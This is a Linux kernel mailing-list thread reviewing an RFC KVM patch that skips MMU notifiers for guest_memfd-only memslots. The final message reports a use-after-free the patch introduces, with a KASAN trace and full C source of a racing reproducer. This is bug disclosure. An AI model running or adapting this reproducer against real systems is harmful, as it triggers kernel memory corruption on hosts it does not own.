* [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots @ 2026-06-15 15:52 Alexandru Elisei 2026-06-15 19:07 ` David Hildenbrand 2026-06-21 0:02 ` XIAO WU 0 siblings, 2 replies; 6+ messages in thread From: Alexandru Elisei @ 2026-06-15 15:52 UTC (permalink / raw) To: pbonzini, kvm, linux-kernel, maz, oupton, suzuki.poulose, kvmarm, linux-arm-kernel, seanjc, david.hildenbrand, mark.rutland For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the memory provider for the virtual machine is the guest_memfd file, not the userspace mapping. Faults are resolved using the guest_memfd page cache, and the permissions for the secondary MMU mapping depends exclusively on the memslot (i.e, if the memslot is read-only). How userspace happens to have the memory mmaped at fault time, or even if the memory is mapped at all into userspace, is not taken into consideration. guest_memfd memory is not evictable, is not movable and there's no backing storage. Once memory is allocated for an offset in guest_memfd file, the offset will not change, and that memory is not freed unless userspace explicitly punches a hole in the file. As a result, memory reclaim, page migration, page aging and dirty page tracking for the userspace mapping serve little purpose. Despite this, KVM's MMU notifiers still modify the secondary MMU page tables, similar to ordinary memslots, only for the same memory to be remapped next time a guest accesses it. Make the disconnect between the user mapping and the secondary MMU page tables explicit by ignoring the MMU notifiers for guest_memfd-only memslots. Signed-off-by: Alexandru Elisei <alexandru.elisei@arm.com> --- The only theoretical instance where the MMU notifiers are invoked for the userspace mapping of a guest_memfd-only memslot that I was able to find was automatic NUMA balancing with a non-NULL NUMA policy for the guest_memfd file. I wasn't able to test it in practice. Also my knowledge of MM is very limited, so there might be other cases where it happens, or I might be wrong and today the MMU notifiers are never invoked. Either way, when and if it happens, having memory unmapped from the seconday MMU in the case of guest_memfd-only memslot is at most a performance issue (it causes unnecessary guest faults), but I wanted to start a conversation about this because having memory that stays mapped at stage 2 (unless userspace explicitly unmaps it from the VM) is needed for a Arm feature (called SPE, Statistical Profiling Extension) that I'm working to upstream. This patch aims to provide the guarantee that memory won't be unmapped from the secondary MMU behind the VMMs back, which is what happens for non guest_memfd memslots. virt/kvm/kvm_main.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c index 881f92d7a469..8c4158996928 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -592,6 +592,10 @@ static __always_inline kvm_mn_ret_t kvm_handle_hva_range(struct kvm *kvm, unsigned long hva_start, hva_end; slot = container_of(node, struct kvm_memory_slot, hva_node[slots->node_idx]); + + if (kvm_slot_has_gmem(slot) && kvm_memslot_is_gmem_only(slot)) + continue; + hva_start = max_t(unsigned long, range->start, slot->userspace_addr); hva_end = min_t(unsigned long, range->end, slot->userspace_addr + (slot->npages << PAGE_SHIFT)); base-commit: 8cd9520d35a6c38db6567e97dd93b1f11f185dc6 -- 2.54.0 ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots 2026-06-15 15:52 [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots Alexandru Elisei @ 2026-06-15 19:07 ` David Hildenbrand 2026-06-17 13:23 ` Alexandru Elisei 2026-06-21 0:02 ` XIAO WU 1 sibling, 1 reply; 6+ messages in thread From: David Hildenbrand @ 2026-06-15 19:07 UTC (permalink / raw) To: Alexandru Elisei, pbonzini, kvm, linux-kernel, maz, oupton, suzuki.poulose, kvmarm, linux-arm-kernel, seanjc, mark.rutland On 6/15/26 17:52, Alexandru Elisei wrote: > For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the > memory provider for the virtual machine is the guest_memfd file, not the > userspace mapping. Faults are resolved using the guest_memfd page cache, > and the permissions for the secondary MMU mapping depends exclusively on > the memslot (i.e, if the memslot is read-only). How userspace happens to > have the memory mmaped at fault time, or even if the memory is mapped at > all into userspace, is not taken into consideration. > > guest_memfd memory is not evictable, is not movable and there's no backing > storage. Once memory is allocated for an offset in guest_memfd file, the > offset will not change, and that memory is not freed unless userspace > explicitly punches a hole in the file. As a result, memory reclaim, page > migration, page aging and dirty page tracking for the userspace mapping > serve little purpose. I don't think any of that is relevant for the patch at hand? The thing is: invalidation (truncation, later migration, for any other reason) is driven through guest_memfd notifications, not through unrelated page tables. If we don't lookup pages for the KVM MMU through the page table, then there is also no need for MMU notifiers. It's all guest_memfd only. Or am I missing something? -- Cheers, David ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots 2026-06-15 19:07 ` David Hildenbrand @ 2026-06-17 13:23 ` Alexandru Elisei 2026-06-17 13:41 ` David Hildenbrand 0 siblings, 1 reply; 6+ messages in thread From: Alexandru Elisei @ 2026-06-17 13:23 UTC (permalink / raw) To: David Hildenbrand Cc: pbonzini, kvm, linux-kernel, maz, oupton, suzuki.poulose, kvmarm, linux-arm-kernel, seanjc, mark.rutland Hi David, On Mon, Jun 15, 2026 at 09:07:50PM +0200, David Hildenbrand wrote: > On 6/15/26 17:52, Alexandru Elisei wrote: > > For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the > > memory provider for the virtual machine is the guest_memfd file, not the > > userspace mapping. Faults are resolved using the guest_memfd page cache, > > and the permissions for the secondary MMU mapping depends exclusively on > > the memslot (i.e, if the memslot is read-only). How userspace happens to > > have the memory mmaped at fault time, or even if the memory is mapped at > > all into userspace, is not taken into consideration. > > > > guest_memfd memory is not evictable, is not movable and there's no backing > > storage. Once memory is allocated for an offset in guest_memfd file, the > > offset will not change, and that memory is not freed unless userspace > > explicitly punches a hole in the file. As a result, memory reclaim, page > > migration, page aging and dirty page tracking for the userspace mapping > > serve little purpose. > > I don't think any of that is relevant for the patch at hand? > > The thing is: invalidation (truncation, later migration, for any other reason) > is driven through guest_memfd notifications, not through unrelated page tables. > > If we don't lookup pages for the KVM MMU through the page table, then there is > also no need for MMU notifiers. It's all guest_memfd only. > > Or am I missing something? My thinking was that, because guest_memfd is not evictable, there is no need to do page ageing, which would require that secondary MMU mappings be made old. The invalidate callbacks are also used when userspace memory is marked read-only for dirty state tracking. I was trying to explaing that, since there is no backing for the guest_memfd file, host doesn't need to keep track of dirty state for the memory, and ignoring the invalidate callbacks is correct for all cases. I can drop the paragraph entirely, if you think that would make the commit message clearer. Thanks, Alex ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots 2026-06-17 13:23 ` Alexandru Elisei @ 2026-06-17 13:41 ` David Hildenbrand 2026-06-17 13:50 ` Alexandru Elisei 0 siblings, 1 reply; 6+ messages in thread From: David Hildenbrand @ 2026-06-17 13:41 UTC (permalink / raw) To: Alexandru Elisei Cc: pbonzini, kvm, linux-kernel, maz, oupton, suzuki.poulose, kvmarm, linux-arm-kernel, seanjc, mark.rutland On 6/17/26 15:23, Alexandru Elisei wrote: > Hi David, > > On Mon, Jun 15, 2026 at 09:07:50PM +0200, David Hildenbrand wrote: >> On 6/15/26 17:52, Alexandru Elisei wrote: >>> For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the >>> memory provider for the virtual machine is the guest_memfd file, not the >>> userspace mapping. Faults are resolved using the guest_memfd page cache, >>> and the permissions for the secondary MMU mapping depends exclusively on >>> the memslot (i.e, if the memslot is read-only). How userspace happens to >>> have the memory mmaped at fault time, or even if the memory is mapped at >>> all into userspace, is not taken into consideration. >>> >>> guest_memfd memory is not evictable, is not movable and there's no backing >>> storage. Once memory is allocated for an offset in guest_memfd file, the >>> offset will not change, and that memory is not freed unless userspace >>> explicitly punches a hole in the file. As a result, memory reclaim, page >>> migration, page aging and dirty page tracking for the userspace mapping >>> serve little purpose. >> >> I don't think any of that is relevant for the patch at hand? >> >> The thing is: invalidation (truncation, later migration, for any other reason) >> is driven through guest_memfd notifications, not through unrelated page tables. >> >> If we don't lookup pages for the KVM MMU through the page table, then there is >> also no need for MMU notifiers. It's all guest_memfd only. >> >> Or am I missing something? > > My thinking was that, because guest_memfd is not evictable, there is no need to > do page ageing, which would require that secondary MMU mappings be made old. Not really. The KVM MMU did not obtain the folios through the page tables, but directly through guest_memfd. Any aging would, therefore, have to be done through guest_memfd. Which we don't support and don't want to support :) That we happen to have a matching user space range that maps the guest_memfd is just coincidence from a KVM MMU point of view. > > The invalidate callbacks are also used when userspace memory is marked read-only > for dirty state tracking. I was trying to explaing that, since there is no > backing for the guest_memfd file, host doesn't need to keep track of dirty state > for the memory, and ignoring the invalidate callbacks is correct for all cases. > > I can drop the paragraph entirely, if you think that would make the commit > message clearer. I think the real motivation is: "Mappings in the secondary MMU were established by obtaining folios from guest_memfd directly, not by looking the folios up through the page tables through GUP. Consequently, there is no relationship between the page tables and the secondary MMU: MMU notifiers do not apply." -- Cheers, David ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots 2026-06-17 13:41 ` David Hildenbrand @ 2026-06-17 13:50 ` Alexandru Elisei 0 siblings, 0 replies; 6+ messages in thread From: Alexandru Elisei @ 2026-06-17 13:50 UTC (permalink / raw) To: David Hildenbrand Cc: pbonzini, kvm, linux-kernel, maz, oupton, suzuki.poulose, kvmarm, linux-arm-kernel, seanjc, mark.rutland Hi David, On Wed, Jun 17, 2026 at 03:41:41PM +0200, David Hildenbrand wrote: > On 6/17/26 15:23, Alexandru Elisei wrote: > > Hi David, > > > > On Mon, Jun 15, 2026 at 09:07:50PM +0200, David Hildenbrand wrote: > >> On 6/15/26 17:52, Alexandru Elisei wrote: > >>> For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the > >>> memory provider for the virtual machine is the guest_memfd file, not the > >>> userspace mapping. Faults are resolved using the guest_memfd page cache, > >>> and the permissions for the secondary MMU mapping depends exclusively on > >>> the memslot (i.e, if the memslot is read-only). How userspace happens to > >>> have the memory mmaped at fault time, or even if the memory is mapped at > >>> all into userspace, is not taken into consideration. > >>> > >>> guest_memfd memory is not evictable, is not movable and there's no backing > >>> storage. Once memory is allocated for an offset in guest_memfd file, the > >>> offset will not change, and that memory is not freed unless userspace > >>> explicitly punches a hole in the file. As a result, memory reclaim, page > >>> migration, page aging and dirty page tracking for the userspace mapping > >>> serve little purpose. > >> > >> I don't think any of that is relevant for the patch at hand? > >> > >> The thing is: invalidation (truncation, later migration, for any other reason) > >> is driven through guest_memfd notifications, not through unrelated page tables. > >> > >> If we don't lookup pages for the KVM MMU through the page table, then there is > >> also no need for MMU notifiers. It's all guest_memfd only. > >> > >> Or am I missing something? > > > > My thinking was that, because guest_memfd is not evictable, there is no need to > > do page ageing, which would require that secondary MMU mappings be made old. > > Not really. > > The KVM MMU did not obtain the folios through the page tables, but directly > through guest_memfd. Any aging would, therefore, have to be done through > guest_memfd. > > Which we don't support and don't want to support :) > > That we happen to have a matching user space range that maps the guest_memfd is > just coincidence from a KVM MMU point of view. > > > > > The invalidate callbacks are also used when userspace memory is marked read-only > > for dirty state tracking. I was trying to explaing that, since there is no > > backing for the guest_memfd file, host doesn't need to keep track of dirty state > > for the memory, and ignoring the invalidate callbacks is correct for all cases. > > > > I can drop the paragraph entirely, if you think that would make the commit > > message clearer. > > I think the real motivation is: > > "Mappings in the secondary MMU were established by obtaining folios from > guest_memfd directly, not by looking the folios up through the page tables > through GUP. Consequently, there is no relationship between the page tables and > the secondary MMU: MMU notifiers do not apply." That's much better than my version, thanks! Alex ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots 2026-06-15 15:52 [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots Alexandru Elisei 2026-06-15 19:07 ` David Hildenbrand @ 2026-06-21 0:02 ` XIAO WU 1 sibling, 0 replies; 6+ messages in thread From: XIAO WU @ 2026-06-21 0:02 UTC (permalink / raw) To: Alexandru Elisei, pbonzini, kvm, linux-kernel, maz, oupton, suzuki.poulose, kvmarm, linux-arm-kernel, seanjc, david.hildenbrand, mark.rutland Hi I came across the Sashiko review in this thread and wanted to see if the pfncache UAF could be triggered in practice. The short answer is: yes, it reproduces reliably with a multi-threaded PoC. Below is the KASAN report and a brief description of the reproducer. On Mon, Jun 15, 2026 at 04:52:44PM +0100, Alexandru Elisei wrote: > For guest_memfd-only memslots (kvm_memslot_is_gmem_only() is true), the > memory provider for the virtual machine is the guest_memfd file, not the > userspace mapping. ... > @@ -592,6 +592,10 @@ static __always_inline kvm_mn_ret_t kvm_handle_hva_range(struct kvm *kvm, > unsigned long hva_start, hva_end; > > slot = container_of(node, struct kvm_memory_slot, hva_node[slots->node_idx]); > + > + if (kvm_slot_has_gmem(slot) && kvm_memslot_is_gmem_only(slot)) > + continue; > + This `continue` is the problem. When the only memslot covering the HVA range is gmem-only, found_memslot stays false, and in invalidate_range_end, kvm_mmu_invalidate_end() is never called. That means mmu_invalidate_seq never increments. Meanwhile, the pfncache (used for guest pvclock) runs this retry protocol in hva_to_pfn_retry(): 1. Capture mmu_seq 2. Drop gpc->lock 3. GUP + kmap (gets a page reference, creates kernel mapping) 4. kvm_release_page_clean(page) — drops the reference 5. Re-acquire gpc->lock 6. mmu_notifier_retry_cache() — checks if mmu_seq changed If step 6 sees the same seq, the stale kmap is kept even though the page was freed after step 4. This is the UAF. [Reproduction] I rebuilt the kernel with CONFIG_KASAN=y and ran the PoC in a QEMU VM. The trigger is three threads racing concurrently: - Thread 1 (T0): hammers KVM_RUN ioctls, forcing kvm_guest_time_update → kvm_gpc_refresh → hva_to_pfn_retry - Thread 2 (T1): cycles KVM_SET_MSRS to activate/deactivate the pvclock pfncache, extending the race window - Thread 3 (T2): hammers MADV_DONTNEED + write on the HVA, firing MMU notifier invalidations while the memslot is gmem-only The full PoC source (poc.c) is attached at the end of this mail. Compiled with: gcc -o poc poc.c -static -lpthread [KASAN report — kernel 7.1.0-g0eb81d7f81ae #1, CONFIG_KASAN=y] ================================================================== BUG: KASAN: use-after-free in kvm_setup_guest_pvclock+0x632/0x680 Read of size 4 at addr ffff888116069000 by task poc/9520 CPU: 1 UID: 0 PID: 9520 Comm: poc Not tainted 7.1.0-g0eb81d7f81ae #1 Call Trace: <TASK> dump_stack_lvl+0x116/0x1f0 print_report+0xf4/0x600 kasan_report+0xe0/0x110 kvm_setup_guest_pvclock+0x632/0x680 kvm_guest_time_update+0x741/0x1090 vcpu_run+0x1c2a/0x5a80 kvm_arch_vcpu_ioctl_run+0x1029/0x18d0 kvm_vcpu_ioctl+0x772/0x1710 __x64_sys_ioctl+0x193/0x210 ← KVM_RUN do_syscall_64+0x129/0x880 entry_SYSCALL_64_after_hwframe+0x77/0x7f The buggy address belongs to the physical page: page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x7ff24ab46 page last allocated via: get_user_pages_unlocked → hva_to_pfn → __kvm_gpc_refresh → kvm_gpc_refresh → kvm_setup_guest_pvclock page last free pid 9520 tgid 9517 stack trace: kvm_release_page_clean → __folio_put → __free_frozen_pages ← __kvm_gpc_refresh ← kvm_gpc_refresh The allocation and free traces confirm the exact scenario from the review: the page is allocated by GUP during gpc refresh, then freed by kvm_release_page_clean() inside the same __kvm_gpc_refresh() call, and then kvm_setup_guest_pvclock still accesses it through the stale kmap. The crash reproduces within ~40 seconds of the PoC running. [Full PoC source] Compile: gcc -o poc poc.c -static -lpthread // SPDX-License-Identifier: GPL-2.0-only /* * PoC for: KVM MMU notifier skip regression for guest_memfd-only memslots * * Concurrent threads create a race between gpc refresh (GUP → kmap → * kvm_release_page_clean → retry check) and MMU invalidation (munmap / * MADV_DONTNEED) on a gmem-only memslot where the invalidation doesn't * increment mmu_invalidate_seq. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <stdint.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <pthread.h> #include <linux/kvm.h> #ifndef KVM_CAP_GUEST_MEMFD #define KVM_CAP_GUEST_MEMFD 234 #endif #ifndef GUEST_MEMFD_FLAG_MMAP #define GUEST_MEMFD_FLAG_MMAP (1ULL << 0) #endif #ifndef MSR_KVM_SYSTEM_TIME_NEW #define MSR_KVM_SYSTEM_TIME_NEW 0x4b564d01 #endif #define PAGE_SIZE 4096 static volatile bool stop = false; static int vcpu_fd = -1; static unsigned long shared_hva = 0; static void sigint_handler(int sig) { stop = true; } static void *worker_thread(void *arg) { int tid = (int)(long)arg; for (int i = 0; !stop && i < 200000; i++) { if (tid == 0) ioctl(vcpu_fd, KVM_RUN, 0); else if (tid == 1) { struct kvm_msrs *msrs = malloc(sizeof(*msrs) + sizeof(msrs->entries[0])); if (msrs) { memset(msrs, 0, sizeof(*msrs) + sizeof(msrs->entries[0])); msrs->nmsrs = 1; msrs->entries[0].index = MSR_KVM_SYSTEM_TIME_NEW; msrs->entries[0].data = (i & 1) ? 0x1001 : 0x1000; ioctl(vcpu_fd, KVM_SET_MSRS, msrs); free(msrs); } } else { madvise((void*)shared_hva, PAGE_SIZE, MADV_DONTNEED); *(volatile char*)shared_hva = 0x42; } if (i % 50000 == 0) printf("[T%d] %d iterations\n", tid, i); } printf("[T%d] Done\n", tid); return NULL; } int main(void) { signal(SIGINT, sigint_handler); signal(SIGTERM, sigint_handler); int kvm_fd = open("/dev/kvm", O_RDWR); int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); struct kvm_create_guest_memfd gmem_cmd = { .size = PAGE_SIZE, .flags = GUEST_MEMFD_FLAG_MMAP }; int gmem_fd = ioctl(vm_fd, KVM_CREATE_GUEST_MEMFD, &gmem_cmd); void *anon = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0); memset(anon, 0xAA, PAGE_SIZE); shared_hva = (unsigned long)anon; struct kvm_userspace_memory_region2 mem = { .slot = 0, .flags = KVM_MEM_GUEST_MEMFD, .guest_phys_addr = 0x1000, .memory_size = PAGE_SIZE, .userspace_addr = shared_hva, .guest_memfd_offset = 0, .guest_memfd = gmem_fd, }; ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION2, &mem); vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); size_t mmap_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0); struct kvm_run *vcpu_run = mmap(NULL, mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpu_fd, 0); /* Pre-activate pfncache via MSR */ struct kvm_msrs *msrs = malloc(sizeof(*msrs) + sizeof(msrs->entries[0])); memset(msrs, 0, sizeof(*msrs) + sizeof(msrs->entries[0])); msrs->nmsrs = 1; msrs->entries[0].index = MSR_KVM_SYSTEM_TIME_NEW; msrs->entries[0].data = 0x1001; ioctl(vcpu_fd, KVM_SET_MSRS, msrs); free(msrs); pthread_t threads[3]; for (int i = 0; i < 3; i++) pthread_create(&threads[i], NULL, worker_thread, (void *)(long)i); sleep(40); stop = true; for (int i = 0; i < 3; i++) pthread_join(threads[i], NULL); printf("[*] Done. Check dmesg for KASAN UAF.\n"); return 0; } Thanks, XIAOWU ^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-06-21 0:02 UTC | newest] Thread overview: 6+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2026-06-15 15:52 [RFC PATCH] KVM: Ignore MMU notifiers for guest_memfd-only memslots Alexandru Elisei 2026-06-15 19:07 ` David Hildenbrand 2026-06-17 13:23 ` Alexandru Elisei 2026-06-17 13:41 ` David Hildenbrand 2026-06-17 13:50 ` Alexandru Elisei 2026-06-21 0:02 ` XIAO WU
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox